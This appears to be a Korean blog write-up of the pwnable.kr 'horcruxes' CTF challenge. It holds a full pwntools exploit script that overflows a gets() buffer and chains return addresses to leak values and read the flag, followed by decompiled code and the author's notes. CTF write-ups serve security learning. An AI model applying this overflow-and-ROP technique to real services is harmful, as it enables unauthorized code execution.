security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] horcruxes

민사민서 2023. 2. 5. 22:27
from pwn import *

p = remote("pwnable.kr", 9032)

p.recvuntil("Select Menu:")
p.sendline("0")
p.recvuntil("How many EXP did you earned? : ")
payload = b'A'*0x74+b'A'*0x4

# A(), B(), C(), D(), E() 호출
payload += p32(0x809fe4b)+p32(0x809fe6a)+p32(0x809fe89)+p32(0x809fea8)+p32(0x809fec7)
# F(), G(), ropme() 호출 (ropme는 main에서 call ropme 하는 주소 하니까 되네?)
# 0x080a0009 vs 0x0809fffc
payload += p32(0x809fee6)+p32(0x809ff05)+p32(0x0809fffc)
p.sendline(payload)

exp = 0
for i in range(7): # A() ~ G() 돌면서 exp 구하기
    p.recvuntil("(EXP +")
    exp += int(p.recvuntil(")")[:-1])
    print("EXP= "+str(exp))

p.recvuntil("Select Menu:")
p.sendline("0")
p.recvuntil("How many EXP did you earned? : ")
p.sendline(str(exp))

p.interactive()

 

<readme>
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.
<ftp로 다운받아서 분석>
Partial RELRO, NO Canary, NX, No PIE (개꿀!)
어셈블리로 분석하려니 넘 힘들다 -> IDA 이용해서 분석해보니
<IDA decompile 결과>
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(60);
  hint();
  init_ABCDEFG();
  v4 = seccomp_init(0);
  seccomp_rule_add(v4, 2147418112, 173, 0); // rt_sigreturn
  seccomp_rule_add(v4, 2147418112, 5, 0); // open
  seccomp_rule_add(v4, 2147418112, 3, 0); // read
  seccomp_rule_add(v4, 2147418112, 4, 0); // write
  seccomp_rule_add(v4, 2147418112, 252, 0); // exit_group
  seccomp_load(v4);
  return ropme();
}

int init_ABCDEFG()
{
  int result; // eax
  int v1; // [esp-Ch] [ebp-24h]
  int v2; // [esp-8h] [ebp-20h]
  int v3; // [esp-4h] [ebp-1Ch]
  int v4; // [esp+8h] [ebp-10h] BYREF
  int v5; // [esp+Ch] [ebp-Ch]

  v5 = open("/dev/urandom", 0);
  if ( read(v5, &v4, 4) != 4 )
  {
    puts("/dev/urandom error");
    exit(0, v1, v2, v3);
  }
  close(v5);
  srand(v4);
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  g = -559038737 * rand() % 0xCAFEBABE;
  result = f + e + d + c + b + a + g;
  sum = result;
  return result;
}

int hint()
{
  puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
  return puts("Find all horcruxes, and destroy it!\n");
}

int ropme()
{
  int v1; // [esp-Ch] [ebp-84h]
  int v2; // [esp-8h] [ebp-80h]
  int v3; // [esp-4h] [ebp-7Ch]
  char v4[100]; // [esp+4h] [ebp-74h] BYREF
  int v5; // [esp+68h] [ebp-10h] BYREF
  int v6; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v5);
  getchar();
  if ( v5 == a )
  {
    A();
  }
  else if ( v5 == b )
  {
    B();
  }
  else if ( v5 == c )
  {
    C();
  }
  else if ( v5 == d )
  {
    D();
  }
  else if ( v5 == e )
  {
    E();
  }
  else if ( v5 == f )
  {
    F();
  }
  else if ( v5 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(v4); // bof 시키면 되겠구만 
    if ( atoi(v4) == sum )
    {
      v6 = open("flag", 0);
      v4[read(v6, v4, 100)] = 0;
      puts(v4);
      close(v6);
      exit(0, v1, v2, v3);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

<exploit 계획>
gets(v4)에서 bof 시켜서 RET 덮어쓴다, A()~G() 순서대로 실행해서 
You found "~" (EXP +숫자)\n 출력되네
v4 = ebp-0x74, RET 덮으려면 0x74+0x4(SFP) 이상 입력해야 함
RET부터 A() / B() / C() / D() / E() / F() / G() / ropme() 이런 식으로 하면 되것네
0x809fe4b/0x809fe6a/0x809fe89/0x809fea8/0x809fec7/0x809fee6/0x809ff05/0x080a0009
** ropme 주소는 0x80a009가 아니라 main에서 ropme 콜하는 주소 0x0809fffc 해야함
why? 
추측 1) 이미 함수 프롤로그에 의해 스택프레임 다 정리하고 사라졌기 때문에 
call부터 다시 진행해야함 (push RET, jmp ropme())

** 답이 안나올때도 있는 경우? 정수 오버플로우 때문이다!!
4byte signed int 범위 = -2,147,483,648 ~ 2,147,483,647